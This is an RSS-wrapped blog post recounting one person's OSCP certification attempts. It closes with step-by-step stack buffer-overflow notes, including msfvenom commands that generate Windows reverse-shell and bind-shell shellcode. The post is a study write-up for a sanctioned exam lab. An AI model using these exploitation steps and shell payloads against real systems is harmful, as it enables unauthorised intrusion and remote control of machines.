            <pubDate>Sat, 24 Oct 2020 14:10:18 GMT</pubDate>
            <atom:updated>2020-10-24T17:56:46.735Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>OSCP – how to pass first time, like I didn’t.</strong></p><p>Part 1: So it was a cold, dark and rainy November morning in Surrey, back in 2018. It was my second year of studying a MSc in Information Security at Royal Holloway, University of London. I had decided if I was going to pursue a career as a pentester, I needed some qualifications. I did my research and these were my opinions from a U.K. citizen not working in industry.</p><p>I needed a qualification which would show I had practical hacking skills. I felt anyone can study content, take an exam and get a degree or MSc if they are determined. I was already pursuing this whilst having a full time job (out of industry), being a parent, and running a web development business in Cobham, Surrey as a freelance web developer, registered as a sole trader. This was a lot, but I needed to prove my worth. So after doing some research I decided upon a few qualifications:</p><ul><li>CEH</li><li>CREST</li><li>OSCP</li></ul><p>From looking at job postings, it was clear that Crest and OSCP were favourable and held more weight. Now, what I liked about OSCP was that it was entirely practical. It looked like a really well developed course that would get me hacking. So I enrolled.</p><p>I worked through the course material, watching the videos and completing the exercises in the PDF in any spare moment I got, like a good student. However, after several months, I was prioritising this rather than the MSc which has set me back a little cash. I did not want to waste the MSc, and had not even entered the OSCP labs. I made the decision to put the OSCP on hold until I had more time. I had already learned a lot and been introduced to a variety of tools. However, this was just the beginning.</p><p><strong>Covid, Opportunities and HackTheBox (HTB)</strong></p><p>Part 2: Enter Covid-19. Now, as soon as this whole pandemic kicked off, I knew I needed to use this time wisely, especially as I was going to be having time off work over the Summer as well. As I was going to be completing my MSc the following year and then looking for jobs, I saw this as the perfect time to finish my exams for my MSc and then to spend every waking hour in the OSCP labs.</p><p>I booked my exam for July as well as purchasing 30 days of intense lab time. The labs weren’t to start for 2 weeks, so I started practicing over at <a href="https://www.hackthebox.eu/">HackTheBox.eu</a> the first couple of machines were my first and boy what a rush was it when I got those root shells. And you know what, that rush and feeling of sheer accomplishment never goes, EVER!</p><p><strong>OSCP Labs</strong></p><p>This is not an exaggeration. I spent every waking moment in the OSCP labs. I would get up extra early for work to try and complete a machine before work. During work, I would take every opportunity to be working on it, running a nmap scan in the background whilst working on something, my mind constantly working on puzzles and thinking of attack paths — multitasking at its finest. I would then get home from work, and work in the labs. Now I was torn at points, as I wanted to spend time with my daughters, but knew I needed this qualification to get an edge when applying for jobs. I would work in the labs until it was time to turn in for the day. I did this on repeat for the entirety of my lab time, until my lab time was up. I extended it by another 30 days as I had made so much progress. At the beginning of this journey it took me perhaps 2 to 3 days to “p0wn” a box. By the end of the 60 days I was doing perhaps 2 a day.</p><p><strong>Exam time — Take 1</strong></p><p>To be honest, the entire 24 hour exam thing whilst being proctored scared me senseless. I did not know what to expect. I had bought a laptop specifically for hacking, as well as an ethernet cable as I wanted a dedicated and reliable Internet connection. My biggest fear would be that I would be doing well in the exam and my connection would cut out and then I would fail as they had lost sight of me. Now, the proctors were very supportive. I began the exam at 7PM. I was fully aware of the time and had an idea that I would work until exhaustion and then maybe sleep a tiny amount, or perhaps I would just work through the night and hope for the best. I made good progress initially and felt I might just be able to do it!! However, as time went by, and scans such as nikto ran slow or were ineffective (did not use it in the second attempt at all, relying on gobuster or wfuzz instead), pressure mounted, as did my stress, as did my tiredness, and then, undoubtedly, my hopes of passing. I did not want to sleep or leave the machine for fear of any accusations of malpractice. So perhaps went to the toilet once, slept with the camera on me, with the lights on etc. Now this was silly and my own doing. I ended up working until 6:30PM the following day, before throwing the towel in, beaten and battered by my lack of methodology and experience. Sad times, very sad times.</p><p><strong>Exam Time — Take 2</strong></p><p>I bought more lab time, practiced, practiced, and practiced. I had managed to get root access on a minimum of 40 Public network machines in the OSCP labs. A friend of mine from Royal Holloway had suggested Tib3rius. Now this dude, totally saved me on Buffer Overflows. This made all the difference and instead of failing buffer overflow like I did on the first attempt. He really explained and broke things down. <a href="https://tryhackme.com/room/bufferoverflowprep">https://tryhackme.com/room/bufferoverflowprep</a> I initially looked at this, but what really helped me was his YouTube video:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F1X2JGF_9JGM%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D1X2JGF_9JGM&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F1X2JGF_9JGM%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/0f54e9273f098218783d9a40b44a0276/href">https://medium.com/media/0f54e9273f098218783d9a40b44a0276/href</a></iframe><p>I literally watched this video no fewer times than 10, I kid you not. On the day of my exam, I watched it over 3 times, ensuring my notes were 100% correct. Sure enough I had got the proof.txt for the buffer overflow in under an hour during the exam. I hated it when I heard people say that it’s an “easy” 25 pointer. I sometimes feel this, that when people write up their OSCP exam experiences, they try and make themselves sound a bit better than they are so they sound oh so “Hack3rM4N God LVL lulz”. But to be honest, it is highly technical, and you need a really good understanding of registers and Assembly in my opinion. This cannot be blagged, you have to know your stuff. That is why as an auditory and visual learner, I really digged Tib3rius’ clear instructions. Furthermore, this was the majority of my examination report with many, many screenshots. This reduced my stress, and I then looked at the other machines and points I needed to secure a pass.</p><p>I then went for big pointers as I knew I needed to reduce stress. I also knew I had plenty of time, and just needed to follow a strong methodology. Now, I won’t be going into specifics here. But with most machines in the labs and on HackTheBox I found a pattern:</p><p>Port scan — this is the key. They tell a story. I kid you not.</p><p>For example if you see ports 80 and 22 open. Then that means, you know it’s a web server and you’ll have to brute force directories or do some sort of SQLi or look for a weak web application with a vulnerability to find credentials. These credentials or a variant of them can then be used to SSH in. Then from there you may have to escalate privileges. Use winpeas or linpeas (depending on OS) or alternative to determine further information such as hashes or stored passwords or services running as root etc. It literally is a jigsaw puzzle. And by gathering information from everywhere you can, it is like gaining more jigsaw pieces. Now sometimes, you may be able to complete the puzzle and see what it is without having all the pieces, or sometimes you may need a few more pieces. Either way, this time I was far more successful, probably dropping only around 10 points — ending with 90/100.</p><p><strong>What was different this time round?</strong></p><p>My preparation. I literally came up with a time plan with targets for the entire exam. This gave me structure and kept me from losing my mind. I also had experience from the previous exam so my stress levels were lower. I had a lot riding on this exam, otherwise I may find it hard to procure a job. Furthermore, I had sacrificed precious time with my 2 daughters, time I will never get back and I was not going to go down without a fight this round. I learned from my mistakes, learned not to use nikto lol, and had far, far more experience.</p><p>I also made extremely clear and concise notes for the buffer overflow, which I will be including below. I also have a sheet of my go to commands from hackthebox and the OSCP labs.</p><p>Without further ado, here are my notes, and you can see I carefully planned how I would perform my attack. This is what you should do for all eventualities. You should think of things that can go wrong, and how you may sidestep and still manage to perform an attack. In my first attempt, I would be blindsided if something did not work. In my second, I would adapt. You have to be fluid and creative. Think of another way around. All machines are vulnerable, there is a way. All you need to do is not give up and “TRY HARDER”. It literally is it. Do not give up.</p><p>Without further ado, here are my notes I used from Tib3rius. So to my friend who suggested Tib3rius, and to Tib3rius, thank you. You started my exam off on the right foot and helped me considerably:</p><p><em>A nice tutorial on Buffer Overflows: have up during exam for reference:</em></p><p><em>Tib3rius: </em><a href="https://youtu.be/1X2JGF_9JGM"><em>https://youtu.be/1X2JGF_9JGM</em></a><em> — refer to in exam if get stuck or worried.</em></p><p><a href="https://github.com/gh0x0st/Buffer_Overflow"><em>https://github.com/gh0x0st/Buffer_Overflow</em></a></p><p><strong><em>Create pattern </em></strong><em><br>/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l number<br>Put pattern into exploit (change the junk variable), send to input/program <br>Look for EIP getting overwritten. <br>Make note of the characters.</em></p><p><strong><em>Find offset: </em></strong><em><br>/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q EIPValue <br>This gives us the offset to use as part of the buffer/junk.</em></p><p><strong><em>Find Barchars: </em></strong><em><br>Update Python code<br>Restart app, play, and run exploit.py <br>Look for: Access violation when executing 42424242 — which are 4 B’s.<br>Badchars would be loaded into ESP register. <br>Right click on ESP register, and click ‘follow in dump’ <br>!mona bytearray -b “\x00” <br>Will output a .bin file.</em></p><p><em>Then want to compare everything in ESP with the output, so will use mona compare. <br>!mona compare -f C:\pathtothebinfile.bin -a address <br>The address is the value that is currently in the ESP register on the top right of the screen. <br>Press return. <br>This gives us our bad chars on first round. <br>However, if you have 2 consecutive bytes e.g. \x07\x08\, remove the first from our bad chars string, and regenerate the bin. file with !mona bytearray -b “\x00\x07” for example <br>Relaunch the app <br>Modify exploit code (bad chars without the x07) <br>Recrash the application by sending the python epxloit: python exploit.py</em></p><p><em>Now rerun compare command, however, ESP address may have changed. <br>!mona compare -f C:\pathtothebinfile.bin -a address <br>Press return, and check bad chars. <br>Right click on ESP and follow dump to check the bad chars that are there. <br> <br>Keep repeating the above process, until you get ‘unmodified’.</em></p><p><strong><em>Finding JMP Point: </em></strong><em><br>!mona jmp -r esp -cpb “\x00…barchars” <br>Should get another window. <br>Window — log data <br>Find an address at the bottom that has JMP. Get the address. <br>Have to write address backwards in 2’s. <br>e.g. address on far left: 625011af <br>\xaf\x11\x50\x62 <br>This will be used instead of the B’s. <br>Right click on the address in the log window we have, and add breakpoint.</em></p><p><strong><em>Update payload with msfvenom: </em></strong><em><br>Ensure IP is of target machine, and not of the Windows test machine which we have been using. <br>msfvenom -p windows/shell_reverse_tcp LHOST=ip.ip.ip.ip LPORT=53 EXITFUNC=thread -b “\x00\bacchars” -f c <br>OR: <br>msfvenom –p windows/shell_bind_tcp EXITFUNC=thread LPORT=80 -f c -a x86 — platform windows -b “\0x00\bachars” <br>Copy everything from the first quote to the end quote (not the semicolon at the end) with the generated shellcode. <br>Check x86/shikata_ga_nai encoder has been used in the output, as will need to use nops later on <br>Add to python exploit in payload variable.</em></p><p><strong><em>Add NOPs padding: </em></strong><em><br>Can use 16 or 64. <br>As x86/shikata_ga_nai encoder used (it would use up memory) so we need to add some NOPs, as we don’t want it to overwrite registers.</em></p><p><strong><em>Potential issues: </em></strong><em><br>If can’t copy strings between rdesktop and my kali system (as needed by msfvenom), can develop Python exploit on kali system instead and point it to the windows test machine.</em></p><p><strong>This is just the beginning</strong></p><p>First and foremost, thank you Offensive Security for putting together such a thorough, enjoyable and literally life-changing course and qualification. What a journey it has been, but I have just dipped my toes into the world of Penetration Testing, but boy does that water feel good on my toes! lol. I completed OSCP September 2020.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b8caac49eb67" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>